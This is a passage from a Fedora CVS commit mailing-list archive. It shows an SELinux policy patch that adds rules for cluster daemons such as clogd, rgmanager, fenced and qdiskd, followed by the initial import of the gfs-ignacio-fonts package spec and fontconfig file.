++        domtrans_pattern($1,clogd_exec_t,clogd_t)
++
++')
++
++#####################################
++## <summary>
++##      Connect to clogd over a unix domain
++##      stream socket.
++## </summary>
++## <param name="domain">
++##      <summary>
++##      Domain allowed access.
++##      </summary>
++## </param>
++#
++interface(`clogd_stream_connect',`
++        gen_require(`
++                type clogd_t, clogd_var_run_t;
++        ')
++
++        files_search_pids($1)
++        stream_connect_pattern($1, clogd_var_run_t, clogd_var_run_t, clogd_t)
++')
++
++#####################################
++## <summary>
++##      Manage clogd tmpfs files.
++## </summary>
++## <param name="domain">
++##      <summary>
++##      The type of the process performing this action.
++##      </summary>
++## </param>
++#
++interface(`clogd_manage_tmpfs_files',`
++        gen_require(`
++                type clogd_tmpfs_t;
++        ')
++
++        fs_search_tmpfs($1)
++        manage_files_pattern($1, clogd_tmpfs_t, clogd_tmpfs_t)
++        manage_lnk_files_pattern($1, clogd_tmpfs_t, clogd_tmpfs_t)
++')
++
++#####################################
++## <summary>
++##      Allow read and write access to clogd semaphores.
++## </summary>
++## <param name="domain">
++##      <summary>
++##      Domain allowed access.
++##      </summary>
++## </param>
++#
++interface(`clogd_rw_semaphores',`
++        gen_require(`
++                type clogd_t;
++        ')
++
++        allow $1 clogd_t:sem { rw_sem_perms destroy };
++')
++
++########################################
++## <summary>
++##      Read and write to group shared memory.
++## </summary>
++## <param name="domain">
++##      <summary>
++##      The type of the process performing this action.
++##      </summary>
++## </param>
++#
++interface(`clogd_rw_shm',`
++        gen_require(`
++                type clogd_t;
++        ')
++
++        allow $1 clogd_t:shm { rw_shm_perms destroy };
++')
++
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/clogd.te serefpolicy-3.6.32/policy/modules/services/clogd.te
+--- nsaserefpolicy/policy/modules/services/clogd.te	1969-12-31 19:00:00.000000000 -0500
++++ serefpolicy-3.6.32/policy/modules/services/clogd.te	2009-10-15 13:16:38.000000000 -0400
+@@ -0,0 +1,62 @@
++
++policy_module(clogd,1.0.0)
++
++########################################
++#
++# Declarations
++#
++
++type clogd_t;
++type clogd_exec_t;
++init_daemon_domain(clogd_t, clogd_exec_t)
++
++type clogd_tmpfs_t;
++files_tmpfs_file(clogd_tmpfs_t)
++
++# pid files
++type clogd_var_run_t;
++files_pid_file(clogd_var_run_t)
++
++permissive clogd_t;
++
++########################################
++#
++# clogd local policy
++#
++
++allow clogd_t self:capability { net_admin mknod };
++allow clogd_t self:process { signal };
++
++allow clogd_t self:sem create_sem_perms;
++allow clogd_t self:shm create_shm_perms;
++allow clogd_t self:netlink_socket create_socket_perms;
++allow clogd_t self:unix_dgram_socket create_socket_perms;
++
++manage_dirs_pattern(clogd_t, clogd_tmpfs_t, clogd_tmpfs_t)
++manage_files_pattern(clogd_t, clogd_tmpfs_t, clogd_tmpfs_t)
++fs_tmpfs_filetrans(clogd_t, clogd_tmpfs_t,{ dir file })
++
++# pid files
++manage_files_pattern(clogd_t, clogd_var_run_t, clogd_var_run_t)
++manage_sock_files_pattern(clogd_t, clogd_var_run_t, clogd_var_run_t)
++files_pid_filetrans(clogd_t,clogd_var_run_t, { file })
++
++aisexec_stream_connect(clogd_t)
++
++dev_manage_generic_blk_files(clogd_t)
++
++storage_raw_read_fixed_disk(clogd_t)
++storage_raw_write_fixed_disk(clogd_t)
++
++libs_use_ld_so(clogd_t)
++libs_use_shared_libs(clogd_t)
++
++logging_send_syslog_msg(clogd_t)
++
++miscfiles_read_localization(clogd_t)
++
++optional_policy(`
++        dev_read_lvm_control(clogd_t)
++')
++
++
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/cobbler.fc serefpolicy-3.6.32/policy/modules/services/cobbler.fc
 --- nsaserefpolicy/policy/modules/services/cobbler.fc	1969-12-31 19:00:00.000000000 -0500
 +++ serefpolicy-3.6.32/policy/modules/services/cobbler.fc	2009-09-30 16:12:48.000000000 -0400
@@ -17055,14 +17251,16 @@ diff -b -B --ignore-all-space --exclude-
  ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/rgmanager.fc serefpolicy-3.6.32/policy/modules/services/rgmanager.fc
 --- nsaserefpolicy/policy/modules/services/rgmanager.fc	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/services/rgmanager.fc	2009-09-30 16:12:48.000000000 -0400
-@@ -0,0 +1,6 @@
++++ serefpolicy-3.6.32/policy/modules/services/rgmanager.fc	2009-10-15 13:16:38.000000000 -0400
+@@ -0,0 +1,8 @@
 +
 +/usr/sbin/rgmanager                    --      gen_context(system_u:object_r:rgmanager_exec_t,s0)
 +
 +/var/log/cluster/rgmanager\.log        --      gen_context(system_u:object_r:rgmanager_var_log_t,s0)
 +
 +/var/run/rgmanager\.pid                --      gen_context(system_u:object_r:rgmanager_var_run_t,s0)
++
++/var/run/cluster/rgmanager\.sk        -s      gen_context(system_u:object_r:rgmanager_var_run_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/rgmanager.if serefpolicy-3.6.32/policy/modules/services/rgmanager.if
 --- nsaserefpolicy/policy/modules/services/rgmanager.if	1969-12-31 19:00:00.000000000 -0500
 +++ serefpolicy-3.6.32/policy/modules/services/rgmanager.if	2009-10-07 09:32:31.000000000 -0400
@@ -17128,8 +17326,8 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/rgmanager.te serefpolicy-3.6.32/policy/modules/services/rgmanager.te
 --- nsaserefpolicy/policy/modules/services/rgmanager.te	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/services/rgmanager.te	2009-10-07 09:33:02.000000000 -0400
-@@ -0,0 +1,58 @@
++++ serefpolicy-3.6.32/policy/modules/services/rgmanager.te	2009-10-15 13:16:38.000000000 -0400
+@@ -0,0 +1,83 @@
 +
 +policy_module(rgmanager,1.0.0)
 +
@@ -17143,6 +17341,10 @@ diff -b -B --ignore-all-space --exclude-
 +domain_type(rgmanager_t)
 +init_daemon_domain(rgmanager_t, rgmanager_exec_t)
 +
++# tmp files
++type rgmanager_tmp_t;
++files_tmp_file(rgmanager_tmp_t)
++
 +# log files
 +type rgmanager_var_log_t;
 +logging_log_file(rgmanager_var_log_t)
@@ -17157,13 +17359,18 @@ diff -b -B --ignore-all-space --exclude-
 +#
 +
 +allow rgmanager_t self:capability { sys_nice ipc_lock };
-+allow rgmanager_t self:process setsched;
++allow rgmanager_t self:process { setsched signal ptrace };
 +
 +allow rgmanager_t self:fifo_file rw_fifo_file_perms;
 +allow rgmanager_t self:unix_stream_socket { create_stream_socket_perms };
 +allow rgmanager_t self:unix_dgram_socket create_socket_perms;
 +allow rgmanager_t self:tcp_socket create_stream_socket_perms;
 +
++# tmp files
++manage_dirs_pattern(rgmanager_t, rgmanager_tmp_t, rgmanager_tmp_t)
++manage_files_pattern(rgmanager_t, rgmanager_tmp_t, rgmanager_tmp_t)
++files_tmp_filetrans(rgmanager_t, rgmanager_tmp_t, { file dir })
++
 +# log files
 +manage_files_pattern(rgmanager_t, rgmanager_var_log_t,rgmanager_var_log_t)
 +logging_log_filetrans(rgmanager_t,rgmanager_var_log_t,{ file })
@@ -17171,7 +17378,23 @@ diff -b -B --ignore-all-space --exclude-
 +# pid file
 +manage_files_pattern(rgmanager_t, rgmanager_var_run_t,rgmanager_var_run_t)
 +manage_sock_files_pattern(rgmanager_t, rgmanager_var_run_t, rgmanager_var_run_t)
-+files_pid_filetrans(rgmanager_t,rgmanager_var_run_t, { file })
++files_pid_filetrans(rgmanager_t,rgmanager_var_run_t, { file sock_file })
++
++aisexec_stream_connect(rgmanager_t)
++groupd_stream_connect(rgmanager_t)
++
++corecmd_exec_bin(rgmanager_t)
++corecmd_exec_sbin(rgmanager_t)
++corecmd_exec_shell(rgmanager_t)
++consoletype_exec(rgmanager_t)
++
++kernel_search_debugfs(rgmanager_t)
++
++fs_getattr_xattr_fs(rgmanager_t)
++
++# need to write to /dev/misc/dlm-control 
++dev_manage_generic_chr_files(rgmanager_t)
++dev_search_sysfs(rgmanager_t)
 +
 +auth_use_nsswitch(rgmanager_t)
 +
@@ -17190,8 +17413,8 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/rhcs.fc serefpolicy-3.6.32/policy/modules/services/rhcs.fc
 --- nsaserefpolicy/policy/modules/services/rhcs.fc	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/services/rhcs.fc	2009-09-30 16:12:48.000000000 -0400
-@@ -0,0 +1,21 @@
++++ serefpolicy-3.6.32/policy/modules/services/rhcs.fc	2009-10-15 13:16:38.000000000 -0400
+@@ -0,0 +1,22 @@
 +
 +/sbin/dlm_controld                     --      gen_context(system_u:object_r:dlm_controld_exec_t,s0)
 +/var/log/cluster/dlm_controld\.log.*   --      gen_context(system_u:object_r:dlm_controld_var_log_t,s0)
@@ -17201,6 +17424,7 @@ diff -b -B --ignore-all-space --exclude-
 +/usr/sbin/fence_node                   --      gen_context(system_u:object_r:fenced_exec_t,s0)
 +/var/log/cluster/fenced\.log.*         --      gen_context(system_u:object_r:fenced_var_log_t,s0)
 +/var/run/fenced\.pid                   --      gen_context(system_u:object_r:fenced_var_run_t,s0)
++/var/run/cluster/fenced_override       --      gen_context(system_u:object_r:fenced_var_run_t,s0)
 +
 +/sbin/gfs_controld                     --      gen_context(system_u:object_r:gfs_controld_exec_t,s0)
 +/var/log/cluster/gfs_controld\.log.*   --      gen_context(system_u:object_r:gfs_controld_var_log_t,s0)
@@ -17215,10 +17439,29 @@ diff -b -B --ignore-all-space --exclude-
 +/var/run/qdiskd\.pid                   --      gen_context(system_u:object_r:qdiskd_var_run_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/rhcs.if serefpolicy-3.6.32/policy/modules/services/rhcs.if
 --- nsaserefpolicy/policy/modules/services/rhcs.if	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/services/rhcs.if	2009-09-30 16:12:48.000000000 -0400
-@@ -0,0 +1,309 @@
++++ serefpolicy-3.6.32/policy/modules/services/rhcs.if	2009-10-15 13:16:38.000000000 -0400
+@@ -0,0 +1,348 @@
 +## <summary>SELinux policy for RHCS - Red Hat Cluster Suite </summary>
 +
++######################################
++## <summary>
++##      Execute a domain transition to run groupd.
++## </summary>
++## <param name="domain">
++## <summary>
++##      Domain allowed to transition.
++## </summary>
++## </param>
++#
++interface(`groupd_domtrans',`
++        gen_require(`
++                type groupd_t, groupd_exec_t;
++        ')
++
++        corecmd_search_bin($1)
++        domtrans_pattern($1,groupd_exec_t,groupd_t)
++')
++
 +#####################################
 +## <summary>
 +##      Connect to groupd over a unix domain
@@ -17526,10 +17769,30 @@ diff -b -B --ignore-all-space --exclude-
 +        allow $1 gfs_controld_t:shm { rw_shm_perms destroy };
 +')
 +
++######################################
++## <summary>
++##      Execute a domain transition to run qdiskd.
++## </summary>
++## <param name="domain">
++## <summary>
++##      Domain allowed to transition.
++## </summary>
++## </param>
++#
++interface(`qdiskd_domtrans',`
++        gen_require(`
++                type qdiskd_t, qdiskd_exec_t;
++        ')
++
++        corecmd_search_bin($1)
++        domtrans_pattern($1,qdiskd_exec_t,qdiskd_t)
++')
++
++
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/rhcs.te serefpolicy-3.6.32/policy/modules/services/rhcs.te
 --- nsaserefpolicy/policy/modules/services/rhcs.te	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/services/rhcs.te	2009-09-30 16:12:48.000000000 -0400
-@@ -0,0 +1,340 @@
++++ serefpolicy-3.6.32/policy/modules/services/rhcs.te	2009-10-15 13:16:38.000000000 -0400
+@@ -0,0 +1,394 @@
 +
 +policy_module(rhcs,1.0.0)
 +
@@ -17538,6 +17801,13 @@ diff -b -B --ignore-all-space --exclude-
 +# Declarations
 +#
 +
++## <desc>
++## <p>
++## Allow fenced domain to connect to the network using TCP.
++## </p>
++## </desc>
++gen_tunable(fenced_can_network_connect, false)
++
 +type dlm_controld_t;
 +type dlm_controld_exec_t;
 +init_daemon_domain(dlm_controld_t, dlm_controld_exec_t)
@@ -17676,7 +17946,7 @@ diff -b -B --ignore-all-space --exclude-
 +# fenced local policy
 +#
 +
-+allow fenced_t self:capability { sys_nice sys_resource };
++allow fenced_t self:capability { sys_nice sys_rawio sys_resource };
 +allow fenced_t self:process { setsched getsched };
 +
 +allow fenced_t self:fifo_file rw_fifo_file_perms;
@@ -17705,7 +17975,7 @@ diff -b -B --ignore-all-space --exclude-
 +manage_files_pattern(fenced_t, fenced_var_run_t,fenced_var_run_t)
 +manage_sock_files_pattern(fenced_t, fenced_var_run_t, fenced_var_run_t)
 +manage_fifo_files_pattern(fenced_t, fenced_var_run_t, fenced_var_run_t)
-+files_pid_filetrans(fenced_t,fenced_var_run_t, { file })
++files_pid_filetrans(fenced_t,fenced_var_run_t, { file fifo_file })
 +
 +stream_connect_pattern(fenced_t, groupd_var_run_t, groupd_var_run_t, groupd_t)
 +aisexec_stream_connect(fenced_t)
@@ -17713,9 +17983,13 @@ diff -b -B --ignore-all-space --exclude-
 +
 +corecmd_exec_bin(fenced_t)
 +
-+dev_list_sysfs(fenced_t)
++dev_read_sysfs(fenced_t)
 +dev_read_urand(fenced_t)
 +
++storage_raw_read_fixed_disk(fenced_t)
++storage_raw_write_fixed_disk(fenced_t)
++storage_raw_read_removable_device(fenced_t)
++
 +auth_use_nsswitch(fenced_t)
 +
 +files_read_usr_symlinks(fenced_t)
@@ -17727,6 +18001,19 @@ diff -b -B --ignore-all-space --exclude-
 +
 +miscfiles_read_localization(fenced_t)
 +
++tunable_policy(`fenced_can_network_connect',`
++        corenet_tcp_connect_all_ports(fenced_t)
++')
++
++optional_policy(`
++        ccs_read_config(fenced_t)
++')
++
++optional_policy(`
++        lvm_domtrans(fenced_t)
++        lvm_read_config(fenced_t)
++')
++
 +######################################
 +#
 +# gfs_controld local policy
@@ -17764,6 +18051,8 @@ diff -b -B --ignore-all-space --exclude-
 +
 +kernel_read_system_state(gfs_controld_t)
 +
++storage_getattr_removable_dev(gfs_controld_t)
++
 +dev_manage_generic_chr_files(gfs_controld_t)
 +#dev_read_sysfs(gfs_controld_t)
 +dev_rw_sysfs(gfs_controld_t)
@@ -17777,6 +18066,11 @@ diff -b -B --ignore-all-space --exclude-
 +
 +miscfiles_read_localization(gfs_controld_t)
 +
++optional_policy(`
++        lvm_exec(gfs_controld_t)
++        dev_rw_lvm_control(gfs_controld_t)
++')
++
 +#######################################
 +#
 +# groupd local policy
@@ -17830,8 +18124,9 @@ diff -b -B --ignore-all-space --exclude-
 +allow qdiskd_t self:process setsched;
 +
 +allow qdiskd_t self:sem create_sem_perms;
++allow qdiskd_t self:udp_socket create_socket_perms;
++allow qdiskd_t self:udp_socket create_socket_perms;
 +allow qdiskd_t self:unix_dgram_socket create_socket_perms;
-+allow qdiskd_t self:fifo_file rw_fifo_file_perms;
 +allow qdiskd_t self:unix_stream_socket create_stream_socket_perms;
 +
 +manage_files_pattern(qdiskd_t, qdiskd_var_lib_t,qdiskd_var_lib_t)
@@ -17856,11 +18151,28 @@ diff -b -B --ignore-all-space --exclude-
 +aisexec_stream_connect(qdiskd_t)
 +ccs_stream_connect(qdiskd_t)
 +
++corecmd_exec_shell(qdiskd_t)
++
 +kernel_read_system_state(qdiskd_t)
++kernel_read_software_raid_state(qdiskd_t)
++
++dev_read_sysfs(qdiskd_t)
++dev_list_all_dev_nodes(qdiskd_t)
++dev_getattr_all_blk_files(qdiskd_t)
++dev_getattr_all_chr_files(qdiskd_t)
++dev_manage_generic_blk_files(qdiskd_t)
++dev_manage_generic_chr_files(qdiskd_t)
 +
++storage_raw_read_removable_device(qdiskd_t)
++storage_raw_write_removable_device(qdiskd_t)
 +storage_raw_read_fixed_disk(qdiskd_t)
 +storage_raw_write_fixed_disk(qdiskd_t)
 +
++domain_dontaudit_getattr_all_pipes(qdiskd_t)
++domain_dontaudit_getattr_all_sockets(qdiskd_t)
++
++auth_use_nsswitch(qdiskd_t)
++
 +files_read_etc_files(qdiskd_t)
 +
 +libs_use_ld_so(qdiskd_t)
@@ -17870,10 +18182,30 @@ diff -b -B --ignore-all-space --exclude-
 +
 +miscfiles_read_localization(qdiskd_t)
 +
++optional_policy(`
++        netutils_domtrans_ping(qdiskd_t)
++')
++
++
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/ricci.te serefpolicy-3.6.32/policy/modules/services/ricci.te
 --- nsaserefpolicy/policy/modules/services/ricci.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/ricci.te	2009-10-07 09:30:15.000000000 -0400
-@@ -227,6 +227,10 @@
++++ serefpolicy-3.6.32/policy/modules/services/ricci.te	2009-10-15 13:16:38.000000000 -0400
+@@ -194,10 +194,13 @@
+ # ricci_modcluster local policy
+ #
+ 
+-allow ricci_modcluster_t self:capability sys_nice;
++allow ricci_modcluster_t self:capability { net_bind_service sys_nice };
+ allow ricci_modcluster_t self:process setsched;
+ allow ricci_modcluster_t self:fifo_file rw_fifo_file_perms;
+ 
++corenet_tcp_bind_cluster_port(ricci_modclusterd_t)
++corenet_tcp_bind_reserved_port(ricci_modclusterd_t)
++
+ kernel_read_kernel_sysctls(ricci_modcluster_t)
+ kernel_read_system_state(ricci_modcluster_t)
+ 
+@@ -227,6 +230,10 @@
  ricci_stream_connect_modclusterd(ricci_modcluster_t)
  
  optional_policy(`
@@ -17884,7 +18216,18 @@ diff -b -B --ignore-all-space --exclude-
  	ccs_stream_connect(ricci_modcluster_t)
  	ccs_domtrans(ricci_modcluster_t)
  	ccs_manage_config(ricci_modcluster_t)
-@@ -264,6 +268,7 @@
+@@ -245,6 +252,10 @@
+ ')
+ 
+ optional_policy(`
++        rgmanager_stream_connect(ricci_modclusterd_t)
++')
++
++optional_policy(`
+ 	# XXX This has got to go.
+ 	unconfined_domain(ricci_modcluster_t)
+ ')
+@@ -264,6 +275,7 @@
  allow ricci_modclusterd_t self:socket create_socket_perms;
  
  allow ricci_modclusterd_t ricci_modcluster_t:unix_stream_socket connectto;
@@ -17892,7 +18235,7 @@ diff -b -B --ignore-all-space --exclude-
  
  # log files
  allow ricci_modclusterd_t ricci_modcluster_var_log_t:dir setattr;
-@@ -306,12 +311,20 @@
+@@ -306,12 +318,20 @@
  sysnet_dns_name_resolve(ricci_modclusterd_t)
  
  optional_policy(`
@@ -17913,7 +18256,7 @@ diff -b -B --ignore-all-space --exclude-
  	unconfined_use_fds(ricci_modclusterd_t)
  ')
  
-@@ -440,6 +453,10 @@
+@@ -440,6 +460,10 @@
  files_read_usr_files(ricci_modstorage_t)
  files_read_kernel_modules(ricci_modstorage_t)
  
@@ -17924,7 +18267,7 @@ diff -b -B --ignore-all-space --exclude-
  storage_raw_read_fixed_disk(ricci_modstorage_t)
  
  term_dontaudit_use_console(ricci_modstorage_t)
-@@ -457,6 +474,10 @@
+@@ -457,6 +481,10 @@
  mount_domtrans(ricci_modstorage_t)
  
  optional_policy(`
@@ -24491,7 +24834,7 @@ diff -b -B --ignore-all-space --exclude-
 +miscfiles_read_localization(iscsid_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/libraries.fc serefpolicy-3.6.32/policy/modules/system/libraries.fc
 --- nsaserefpolicy/policy/modules/system/libraries.fc	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/libraries.fc	2009-10-05 09:46:44.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/libraries.fc	2009-10-15 13:03:19.000000000 -0400
 @@ -60,12 +60,15 @@
  #
  # /opt
@@ -24680,7 +25023,7 @@ diff -b -B --ignore-all-space --exclude-
  ') dnl end distro_redhat
  
  #
-@@ -307,10 +295,97 @@
+@@ -307,10 +295,98 @@
  
  /var/mailman/pythonlib(/.*)?/.+\.so(\..*)? --	gen_context(system_u:object_r:lib_t,s0)
  
@@ -24710,6 +25053,7 @@ diff -b -B --ignore-all-space --exclude-
 +/usr/lib(64)?/i686/.*\.so.*    --     gen_context(system_u:object_r:textrel_shlib_t,s0)
 +/usr/lib(64)?/google-earth/.*\.so.*    --     gen_context(system_u:object_r:textrel_shlib_t,s0)
 +/opt/google-earth/.*\.so.*    --     gen_context(system_u:object_r:textrel_shlib_t,s0)
++/usr/google-earth/.*\.so.*    --     gen_context(system_u:object_r:textrel_shlib_t,s0)
 +
 +/usr/lib(64)?/nspluginwrapper/np.*\.so	-- gen_context(system_u:object_r:lib_t,s0)
 +
@@ -24780,7 +25124,7 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/libraries.if serefpolicy-3.6.32/policy/modules/system/libraries.if
 --- nsaserefpolicy/policy/modules/system/libraries.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/libraries.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/libraries.if	2009-10-15 15:48:13.000000000 -0400
 @@ -247,7 +247,7 @@
  		type lib_t;
  	')
@@ -25129,6 +25473,59 @@ diff -b -B --ignore-all-space --exclude-
  	inn_manage_log(syslogd_t)
  ')
  
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/lvm.if serefpolicy-3.6.32/policy/modules/system/lvm.if
+--- nsaserefpolicy/policy/modules/system/lvm.if	2009-07-14 14:19:57.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/lvm.if	2009-10-15 13:16:38.000000000 -0400
+@@ -21,6 +21,26 @@
+ 
+ ########################################
+ ## <summary>
++##      Execute lvm programs in the caller domain.
++## </summary>
++## <param name="domain">
++##      <summary>
++##      The type of the process performing this action.
++##      </summary>
++## </param>
++#
++interface(`lvm_exec',`
++        gen_require(`
++                type lvm_exec_t;
++        ')
++
++        corecmd_search_sbin($1)
++        can_exec($1, lvm_exec_t)
++
++')
++  
++########################################
++## <summary>
+ ##	Execute lvm programs in the lvm domain.
+ ## </summary>
+ ## <param name="domain">
+@@ -85,3 +105,22 @@
+ 	manage_dirs_pattern($1, lvm_etc_t, lvm_etc_t)
+ 	manage_files_pattern($1, lvm_etc_t, lvm_etc_t)
+ ')
++
++######################################
++## <summary>
++##      Execute a domain transition to run clvmd.
++## </summary>
++## <param name="domain">
++## <summary>
++##      Domain allowed to transition.
++## </summary>
++## </param>
++#
++interface(`lvm_clvmd_domtrans',`
++        gen_require(`
++                type clvmd_t, clvmd_exec_t;
++        ')
++
++        corecmd_search_bin($1)
++        domtrans_pattern($1,clvmd_exec_t,clvmd_t)
++')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/lvm.te serefpolicy-3.6.32/policy/modules/system/lvm.te
 --- nsaserefpolicy/policy/modules/system/lvm.te	2009-08-14 16:14:31.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/system/lvm.te	2009-09-30 16:12:48.000000000 -0400
@@ -27997,7 +28394,7 @@ diff -b -B --ignore-all-space --exclude-
 +HOME_DIR/\.gvfs(/.*)?	<<none>>
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/userdomain.if serefpolicy-3.6.32/policy/modules/system/userdomain.if
 --- nsaserefpolicy/policy/modules/system/userdomain.if	2009-08-31 13:30:04.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/userdomain.if	2009-10-09 10:06:24.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/userdomain.if	2009-10-15 12:42:02.000000000 -0400
 @@ -30,8 +30,9 @@
  	')
  
@@ -29377,6 +29774,15 @@ diff -b -B --ignore-all-space --exclude-
  ## </summary>
  ## <param name="domain">
  ##	<summary>
+@@ -2749,7 +2891,7 @@
+ 
+ 	domain_entry_file_spec_domtrans($1, unpriv_userdomain)
+ 	allow unpriv_userdomain $1:fd use;
+-	allow unpriv_userdomain $1:fifo_file rw_file_perms;
++	allow unpriv_userdomain $1:fifo_file rw_fifo_file_perms;
+ 	allow unpriv_userdomain $1:process sigchld;
+ ')
+ 
 @@ -2765,11 +2907,32 @@
  #
  interface(`userdom_search_user_home_content',`


Index: selinux-policy.spec
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/selinux-policy.spec,v
retrieving revision 1.944
retrieving revision 1.945
diff -u -p -r1.944 -r1.945
--- selinux-policy.spec	14 Oct 2009 19:35:53 -0000	1.944
+++ selinux-policy.spec	15 Oct 2009 20:42:09 -0000	1.945
@@ -20,7 +20,7 @@
 Summary: SELinux policy configuration
 Name: selinux-policy
 Version: 3.6.32
-Release: 27%{?dist}
+Release: 28%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: serefpolicy-%{version}.tgz
@@ -449,7 +449,10 @@ exit 0
 %endif
 
 %changelog
-* Wed Oct 13 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-27
+* Thu Oct 15 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-28
+- Allow sandbox_domain to interact with userdomain fifo_files
+
+* Wed Oct 14 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-27
 - Allow plymouthd_t to use frame_buffer
 
 * Tue Oct 13 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-26



From nim at fedoraproject.org  Thu Oct 15 20:59:19 2009
From: nim at fedoraproject.org (nim)
Date: Thu, 15 Oct 2009 20:59:19 +0000 (UTC)
Subject: rpms/gfs-ignacio-fonts/devel gfs-ignacio-fonts-fontconfig.conf, NONE,
	1.1 gfs-ignacio-fonts.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091015205919.362E811C00DB@cvs1.fedora.phx.redhat.com>

Author: nim

Update of /cvs/extras/rpms/gfs-ignacio-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13983/devel

Modified Files:
	.cvsignore sources 
Added Files:
	gfs-ignacio-fonts-fontconfig.conf gfs-ignacio-fonts.spec 
	import.log 
Log Message:
initial import


--- NEW FILE gfs-ignacio-fonts-fontconfig.conf ---
<?xml version="1.0"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
  <alias>
    <family>fantasy</family>
    <prefer>
      <family>GFS Ignacio</family>
    </prefer>
  </alias>
  <alias>
    <family>GFS Ignacio</family>
    <default>
      <family>fantasy</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE gfs-ignacio-fonts.spec ---
%global fontname gfs-ignacio
%global fontconf 61-%{fontname}.conf

%global archivename GFS_IGNACIO

Name:    %{fontname}-fonts
Version: 20090923
Release: 1%{?dist}
Summary: A majuscule Greek font

Group:     User Interface/X
License:   OFL
URL:       http://www.greekfontsociety.gr/pages/en_typefaces_majuscules.html
Source0:   http://www.greekfontsociety.gr/%{archivename}.zip
Source1:   %{name}-fontconfig.conf
BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildArch:     noarch
BuildRequires: fontpackages-devel
Requires:      fontpackages-filesystem

%description
As it is known, the Greek alphabet was used in majuscule form for over a
millennium before the minuscule letters gradually replaced it until they became
the official script in the 9th century A.D. Thereafter, majuscule letters were
confined to sparse use as initials or elaborate titles until the Italian
Renaissance.

The new art of Typography, as well as the need of the humanists to mimic the
ancient Greco-Roman period brought back the extensive use of the majuscule
letter-forms in both Latin and Greek typography. Greek books of the time were
printed using the contemporary Byzantine hand with which they combined capital
letters modelled on the Roman antiquity, i.e. with thick and thin strokes and
serifs. At the same time the Byzantine majuscule tradition, principally used on
theological editions, remainned alive until the early 19th century.

This font has been designed by George D. Matthiopoulos.


%prep
%setup -q -c -T
unzip -j -L -q %{SOURCE0}
chmod 0644 *.txt

for txt in *.txt ; do
   fold -s $txt > $txt.new &&\
   sed -i 's/\r//' $txt.new &&\
   touch -r $txt $txt.new &&\
   mv $txt.new $txt
done


%build


%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p *.otf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
                   %{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}
ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}


%clean
rm -fr %{buildroot}


%_font_pkg -f %{fontconf} *.otf

%doc *.txt


%changelog
* Fri Oct  9 2009 Nicolas Mailhot <nicolas.mailhot at laposte.net>
- 20090923-1
? initial packaging


--- NEW FILE import.log ---
gfs-ignacio-fonts-20090923-1_fc13:HEAD:gfs-ignacio-fonts-20090923-1.fc13.src.rpm:1255640340


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/gfs-ignacio-fonts/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	15 Oct 2009 17:23:53 -0000	1.1
+++ .cvsignore	15 Oct 2009 20:59:18 -0000	1.2
@@ -0,0 +1 @@
+GFS_IGNACIO.zip


Index: sources
===================================================================
